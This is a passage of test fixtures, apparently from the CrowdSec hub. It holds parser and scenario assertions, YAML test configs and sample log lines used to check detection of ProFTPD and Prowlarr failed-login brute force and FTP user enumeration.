results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "ftp_failed_auth" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "192.168.1.142" results[0].Overflow.Alert.Events[5].GetMeta("target_user") == "seb" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/proftpd-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 hub1/.tests/proftpd-logs/000077500000000000000000000000001437532772500155745ustar00rootroot00000000000000hub1/.tests/proftpd-logs/config.yaml000066400000000000000000000003561437532772500177310ustar00rootroot00000000000000parsers: - ./parsers/s01-parse/crowdsecurity/proftpd-logs.yaml - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - "" postoverflows: - "" log_file: proftpd-logs.log log_type: proftpd labels: {} ignore_parsers: false hub1/.tests/proftpd-logs/parser.assert000066400000000000000000000316211437532772500203160ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 4 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "proftpd" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "2021-05-28 18:08:01,124 mantis proftpd[498625] mantis (192.168.1.142[192.168.1.142]): USER asd: no such user found from 192.168.1.142 [192.168.1.142] to ::ffff:192.168.1.23:21" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "proftpd-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "2021-05-28 18:08:34,399 mantis proftpd[498819] mantis (192.168.1.142[192.168.1.142]): USER seb (Login failed): Incorrect password" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "proftpd" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "proftpd-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][2].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["message"] == "Jan 7 18:26:02 amazing-ishizaka proftpd[80283]: 172.31.39.97 (1.1.1.1[1.1.1.1]) - USER sdf: no such user found from 1.1.1.1 [1.1.1.1] to 172.31.39.97:21" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["program"] == "proftpd" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_path"] == "proftpd-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][3].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["message"] == "Jan 7 18:26:52 amazing-ishizaka proftpd[80686]: 172.31.39.97 (1.1.1.1[1.1.1.1]) - USER unruffled-feynman (Login failed): Incorrect password" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["program"] == "proftpd" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_path"] == "proftpd-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_type"] == "file" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 4 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][3].Success == false len(results["s01-parse"]["proftpd-logs"]) == 4 results["s01-parse"]["proftpd-logs"][0].Success == true results["s01-parse"]["proftpd-logs"][0].Evt.Parsed["hostname"] == "mantis" results["s01-parse"]["proftpd-logs"][0].Evt.Parsed["message"] == "2021-05-28 18:08:01,124 mantis proftpd[498625] mantis (192.168.1.142[192.168.1.142]): USER asd: no such user found from 192.168.1.142 [192.168.1.142] to ::ffff:192.168.1.23:21" results["s01-parse"]["proftpd-logs"][0].Evt.Parsed["program"] == "proftpd" results["s01-parse"]["proftpd-logs"][0].Evt.Parsed["source_ip"] == "192.168.1.142" results["s01-parse"]["proftpd-logs"][0].Evt.Parsed["timestamp"] == "2021-05-28 18:08:01,124" results["s01-parse"]["proftpd-logs"][0].Evt.Parsed["username"] == "asd" results["s01-parse"]["proftpd-logs"][0].Evt.Meta["datasource_path"] == "proftpd-logs.log" results["s01-parse"]["proftpd-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["proftpd-logs"][0].Evt.Meta["log_type"] == "ftp_failed_auth" results["s01-parse"]["proftpd-logs"][0].Evt.Meta["source_ip"] == "192.168.1.142" results["s01-parse"]["proftpd-logs"][0].Evt.Meta["target_user"] == "asd" results["s01-parse"]["proftpd-logs"][1].Success == true results["s01-parse"]["proftpd-logs"][1].Evt.Parsed["timestamp"] == "2021-05-28 18:08:34,399" results["s01-parse"]["proftpd-logs"][1].Evt.Parsed["username"] == "seb" results["s01-parse"]["proftpd-logs"][1].Evt.Parsed["hostname"] == "mantis" results["s01-parse"]["proftpd-logs"][1].Evt.Parsed["message"] == "2021-05-28 18:08:34,399 mantis proftpd[498819] mantis (192.168.1.142[192.168.1.142]): USER seb (Login failed): Incorrect password" results["s01-parse"]["proftpd-logs"][1].Evt.Parsed["program"] == "proftpd" results["s01-parse"]["proftpd-logs"][1].Evt.Parsed["source_ip"] == "192.168.1.142" results["s01-parse"]["proftpd-logs"][1].Evt.Meta["source_ip"] == "192.168.1.142" results["s01-parse"]["proftpd-logs"][1].Evt.Meta["target_user"] == "seb" results["s01-parse"]["proftpd-logs"][1].Evt.Meta["datasource_path"] == "proftpd-logs.log" results["s01-parse"]["proftpd-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["proftpd-logs"][1].Evt.Meta["log_type"] == "ftp_failed_auth" results["s01-parse"]["proftpd-logs"][2].Success == true results["s01-parse"]["proftpd-logs"][2].Evt.Parsed["program"] == "proftpd" results["s01-parse"]["proftpd-logs"][2].Evt.Parsed["source_ip"] == "1.1.1.1" results["s01-parse"]["proftpd-logs"][2].Evt.Parsed["timestamp"] == "Jan 7 18:26:02" results["s01-parse"]["proftpd-logs"][2].Evt.Parsed["username"] == "sdf" results["s01-parse"]["proftpd-logs"][2].Evt.Parsed["hostname"] == "172.31.39.97" results["s01-parse"]["proftpd-logs"][2].Evt.Parsed["message"] == "Jan 7 18:26:02 amazing-ishizaka proftpd[80283]: 172.31.39.97 (1.1.1.1[1.1.1.1]) - USER sdf: no such user found from 1.1.1.1 [1.1.1.1] to 172.31.39.97:21" results["s01-parse"]["proftpd-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["proftpd-logs"][2].Evt.Meta["log_type"] == "ftp_failed_auth" results["s01-parse"]["proftpd-logs"][2].Evt.Meta["source_ip"] == "1.1.1.1" results["s01-parse"]["proftpd-logs"][2].Evt.Meta["target_user"] == "sdf" results["s01-parse"]["proftpd-logs"][2].Evt.Meta["datasource_path"] == "proftpd-logs.log" results["s01-parse"]["proftpd-logs"][3].Success == true results["s01-parse"]["proftpd-logs"][3].Evt.Parsed["source_ip"] == "1.1.1.1" results["s01-parse"]["proftpd-logs"][3].Evt.Parsed["timestamp"] == "Jan 7 18:26:52" results["s01-parse"]["proftpd-logs"][3].Evt.Parsed["username"] == "unruffled-feynman" results["s01-parse"]["proftpd-logs"][3].Evt.Parsed["hostname"] == "172.31.39.97" results["s01-parse"]["proftpd-logs"][3].Evt.Parsed["message"] == "Jan 7 18:26:52 amazing-ishizaka proftpd[80686]: 172.31.39.97 (1.1.1.1[1.1.1.1]) - USER unruffled-feynman (Login failed): Incorrect password" results["s01-parse"]["proftpd-logs"][3].Evt.Parsed["program"] == "proftpd" results["s01-parse"]["proftpd-logs"][3].Evt.Meta["log_type"] == "ftp_failed_auth" results["s01-parse"]["proftpd-logs"][3].Evt.Meta["source_ip"] == "1.1.1.1" results["s01-parse"]["proftpd-logs"][3].Evt.Meta["target_user"] == "unruffled-feynman" results["s01-parse"]["proftpd-logs"][3].Evt.Meta["datasource_path"] == "proftpd-logs.log" results["s01-parse"]["proftpd-logs"][3].Evt.Meta["datasource_type"] == "file" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 4 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["hostname"] == "mantis" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "2021-05-28 18:08:01,124 mantis proftpd[498625] mantis (192.168.1.142[192.168.1.142]): USER asd: no such user found from 192.168.1.142 [192.168.1.142] to ::ffff:192.168.1.23:21" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "proftpd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["source_ip"] == "192.168.1.142" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["timestamp"] == "2021-05-28 18:08:01,124" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["username"] == "asd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "proftpd-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "ftp_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "192.168.1.142" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["target_user"] == "asd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2021-05-28T18:08:01.124Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2021-05-28T18:08:01.124Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["username"] == "seb" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["hostname"] == "mantis" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "2021-05-28 18:08:34,399 mantis proftpd[498819] mantis (192.168.1.142[192.168.1.142]): USER seb (Login failed): Incorrect password" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "proftpd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["source_ip"] == "192.168.1.142" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["timestamp"] == "2021-05-28 18:08:34,399" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "proftpd-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["log_type"] == "ftp_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "192.168.1.142" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["target_user"] == "seb" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["timestamp"] == "2021-05-28T18:08:34.399Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"] == "2021-05-28T18:08:34.399Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["timestamp"] == "Jan 7 18:26:02" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["username"] == "sdf" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["hostname"] == "172.31.39.97" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["message"] == "Jan 7 18:26:02 amazing-ishizaka proftpd[80283]: 172.31.39.97 (1.1.1.1[1.1.1.1]) - USER sdf: no such user found from 1.1.1.1 [1.1.1.1] to 172.31.39.97:21" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["program"] == "proftpd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["source_ip"] == "1.1.1.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["source_ip"] == "1.1.1.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["target_user"] == "sdf" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["timestamp"][4:] == "-01-07T18:26:02Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_path"] == "proftpd-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["log_type"] == "ftp_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Enriched["MarshaledTime"][4:] == "-01-07T18:26:02Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["hostname"] == "172.31.39.97" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["message"] == "Jan 7 18:26:52 amazing-ishizaka proftpd[80686]: 172.31.39.97 (1.1.1.1[1.1.1.1]) - USER unruffled-feynman (Login failed): Incorrect password" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["program"] == "proftpd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["source_ip"] == "1.1.1.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["timestamp"] == "Jan 7 18:26:52" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["username"] == "unruffled-feynman" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["source_ip"] == "1.1.1.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["target_user"] == "unruffled-feynman" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["timestamp"][4:] == "-01-07T18:26:52Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_path"] == "proftpd-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["log_type"] == "ftp_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Enriched["MarshaledTime"][4:] == "-01-07T18:26:52Z" hub1/.tests/proftpd-logs/proftpd-logs.log000066400000000000000000000011301437532772500207120ustar00rootroot000000000000002021-05-28 18:08:01,124 mantis proftpd[498625] mantis (192.168.1.142[192.168.1.142]): USER asd: no such user found from 192.168.1.142 [192.168.1.142] to ::ffff:192.168.1.23:21 2021-05-28 18:08:34,399 mantis proftpd[498819] mantis (192.168.1.142[192.168.1.142]): USER seb (Login failed): Incorrect password Jan 7 18:26:02 amazing-ishizaka proftpd[80283]: 172.31.39.97 (1.1.1.1[1.1.1.1]) - USER sdf: no such user found from 1.1.1.1 [1.1.1.1] to 172.31.39.97:21 Jan 7 18:26:52 amazing-ishizaka proftpd[80686]: 172.31.39.97 (1.1.1.1[1.1.1.1]) - USER unruffled-feynman (Login failed): Incorrect passwordhub1/.tests/proftpd-logs/scenario.assert000066400000000000000000000000001437532772500206100ustar00rootroot00000000000000hub1/.tests/proftpd-user-enum/000077500000000000000000000000001437532772500165505ustar00rootroot00000000000000hub1/.tests/proftpd-user-enum/config.yaml000066400000000000000000000004431437532772500207020ustar00rootroot00000000000000parsers: - ./parsers/s01-parse/crowdsecurity/proftpd-logs.yaml - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - ./scenarios/crowdsecurity/proftpd-bf_user-enum.yaml postoverflows: - "" log_file: proftpd-user-enum.log log_type: proftpd labels: {} ignore_parsers: true hub1/.tests/proftpd-user-enum/parser.assert000066400000000000000000000000001437532772500212550ustar00rootroot00000000000000hub1/.tests/proftpd-user-enum/proftpd-user-enum.log000066400000000000000000000020471437532772500226520ustar00rootroot000000000000002021-05-28 18:08:01,124 mantis proftpd[498625] mantis (192.168.1.142[192.168.1.142]): USER asd: no such user found from 192.168.1.142 [192.168.1.142] to ::ffff:192.168.1.23:21 2021-05-28 18:08:01,124 mantis proftpd[498625] mantis (192.168.1.142[192.168.1.142]): USER foo: no such user found from 192.168.1.142 [192.168.1.142] to ::ffff:192.168.1.23:21 2021-05-28 18:08:01,124 mantis proftpd[498625] mantis (192.168.1.142[192.168.1.142]): USER bar: no such user found from 192.168.1.142 [192.168.1.142] to ::ffff:192.168.1.23:21 2021-05-28 18:08:01,124 mantis proftpd[498625] mantis (192.168.1.142[192.168.1.142]): USER foobar: no such user found from 192.168.1.142 [192.168.1.142] to ::ffff:192.168.1.23:21 2021-05-28 18:08:01,124 mantis proftpd[498625] mantis (192.168.1.142[192.168.1.142]): USER root: no such user found from 192.168.1.142 [192.168.1.142] to ::ffff:192.168.1.23:21 2021-05-28 18:08:01,124 mantis proftpd[498625] mantis (192.168.1.142[192.168.1.142]): USER admin: no such user found from 192.168.1.142 [192.168.1.142] to ::ffff:192.168.1.23:21 hub1/.tests/proftpd-user-enum/scenario.assert000066400000000000000000000054011437532772500215760ustar00rootroot00000000000000len(results) == 1 "192.168.1.142" in results[0].Overflow.GetSources() results[0].Overflow.Sources["192.168.1.142"].IP == "192.168.1.142" results[0].Overflow.Sources["192.168.1.142"].Range == "" results[0].Overflow.Sources["192.168.1.142"].GetScope() == "Ip" results[0].Overflow.Sources["192.168.1.142"].GetValue() == "192.168.1.142" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "proftpd-user-enum.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "ftp_failed_auth" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.1.142" results[0].Overflow.Alert.Events[0].GetMeta("target_user") == "asd" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "proftpd-user-enum.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "ftp_failed_auth" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "192.168.1.142" results[0].Overflow.Alert.Events[1].GetMeta("target_user") == "foo" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "proftpd-user-enum.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "ftp_failed_auth" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "192.168.1.142" results[0].Overflow.Alert.Events[2].GetMeta("target_user") == "bar" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "proftpd-user-enum.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "ftp_failed_auth" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "192.168.1.142" results[0].Overflow.Alert.Events[3].GetMeta("target_user") == "foobar" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "proftpd-user-enum.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "ftp_failed_auth" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "192.168.1.142" results[0].Overflow.Alert.Events[4].GetMeta("target_user") == "root" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "proftpd-user-enum.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "ftp_failed_auth" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "192.168.1.142" results[0].Overflow.Alert.Events[5].GetMeta("target_user") == "admin" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/proftpd-bf_user-enum" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 hub1/.tests/prowlarr-bf/000077500000000000000000000000001437532772500154115ustar00rootroot00000000000000hub1/.tests/prowlarr-bf/config.yaml000066400000000000000000000004471437532772500175470ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/schiz0phr3ne/prowlarr-logs.yaml scenarios: - ./scenarios/schiz0phr3ne/prowlarr-bf.yaml postoverflows: - "" log_file: prowlarr-bf.log log_type: syslog labels: {} ignore_parsers: true override_statics: [] hub1/.tests/prowlarr-bf/parser.assert000066400000000000000000000000001437532772500201160ustar00rootroot00000000000000hub1/.tests/prowlarr-bf/prowlarr-bf.log000066400000000000000000000012221437532772500203460ustar00rootroot00000000000000Oct 10 11:17:51 prowlarr Prowlarr[8213]: [Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test' Oct 10 11:17:52 prowlarr Prowlarr[8213]: [Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test' Oct 10 11:17:53 prowlarr Prowlarr[8213]: [Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test' Oct 10 11:17:54 prowlarr Prowlarr[8213]: [Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test' Oct 10 11:17:55 prowlarr Prowlarr[8213]: [Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test' Oct 10 11:17:56 prowlarr Prowlarr[8213]: [Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test' Oct 10 11:17:57 prowlarr Prowlarr[8213]: [Info] Auth: Auth-Success ip 1.2.3.5 username 'test' hub1/.tests/prowlarr-bf/scenario.assert000066400000000000000000000100071437532772500204350ustar00rootroot00000000000000len(results) == 1 "1.2.3.4" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.2.3.4"].IP == "1.2.3.4" results[0].Overflow.Sources["1.2.3.4"].Range == "" results[0].Overflow.Sources["1.2.3.4"].GetScope() == "Ip" results[0].Overflow.Sources["1.2.3.4"].GetValue() == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "prowlarr-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "prowlarr_failed_authentication" results[0].Overflow.Alert.Events[0].GetMeta("machine") == "prowlarr" results[0].Overflow.Alert.Events[0].GetMeta("service") == "prowlarr" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("timestamp")[4:] == "-10-10T11:17:51Z" results[0].Overflow.Alert.Events[0].GetMeta("username") == "'test'" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "prowlarr-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "prowlarr_failed_authentication" results[0].Overflow.Alert.Events[1].GetMeta("machine") == "prowlarr" results[0].Overflow.Alert.Events[1].GetMeta("service") == "prowlarr" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[1].GetMeta("timestamp")[4:] == "-10-10T11:17:52Z" results[0].Overflow.Alert.Events[1].GetMeta("username") == "'test'" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "prowlarr-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "prowlarr_failed_authentication" results[0].Overflow.Alert.Events[2].GetMeta("machine") == "prowlarr" results[0].Overflow.Alert.Events[2].GetMeta("service") == "prowlarr" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[2].GetMeta("timestamp")[4:] == "-10-10T11:17:53Z" results[0].Overflow.Alert.Events[2].GetMeta("username") == "'test'" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "prowlarr-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "prowlarr_failed_authentication" results[0].Overflow.Alert.Events[3].GetMeta("machine") == "prowlarr" results[0].Overflow.Alert.Events[3].GetMeta("service") == "prowlarr" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[3].GetMeta("timestamp")[4:] == "-10-10T11:17:54Z" results[0].Overflow.Alert.Events[3].GetMeta("username") == "'test'" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "prowlarr-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "prowlarr_failed_authentication" results[0].Overflow.Alert.Events[4].GetMeta("machine") == "prowlarr" results[0].Overflow.Alert.Events[4].GetMeta("service") == "prowlarr" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[4].GetMeta("timestamp")[4:] == "-10-10T11:17:55Z" results[0].Overflow.Alert.Events[4].GetMeta("username") == "'test'" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "prowlarr-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "prowlarr_failed_authentication" results[0].Overflow.Alert.Events[5].GetMeta("machine") == "prowlarr" results[0].Overflow.Alert.Events[5].GetMeta("service") == "prowlarr" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[5].GetMeta("timestamp")[4:] == "-10-10T11:17:56Z" results[0].Overflow.Alert.Events[5].GetMeta("username") == "'test'" results[0].Overflow.Alert.GetScenario() == "schiz0phr3ne/prowlarr-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 hub1/.tests/prowlarr-logs/000077500000000000000000000000001437532772500157665ustar00rootroot00000000000000hub1/.tests/prowlarr-logs/config.yaml000066400000000000000000000003421437532772500201160ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - ./parsers/s01-parse/schiz0phr3ne/prowlarr-logs.yaml scenarios: - "" postoverflows: - "" log_file: prowlarr-logs.log log_type: syslog labels: {} ignore_parsers: false override_statics: [] hub1/.tests/prowlarr-logs/parser.assert000066400000000000000000000341401437532772500205070ustar00rootroot00000000000000len(results) == 3 len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 7 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["timestamp"] == "Oct 10 11:17:51" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["pid"] == "8213" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["program"] == "Prowlarr" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["machine"] == "prowlarr" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["datasource_path"] == "prowlarr-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["timestamp"] == "Oct 10 11:17:52" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["pid"] == "8213" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["program"] == "Prowlarr" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["datasource_path"] == "prowlarr-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["machine"] == "prowlarr" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["pid"] == "8213" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["program"] == "Prowlarr" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["timestamp"] == "Oct 10 11:17:53" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Meta["datasource_path"] == "prowlarr-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Meta["datasource_type"] == "file" 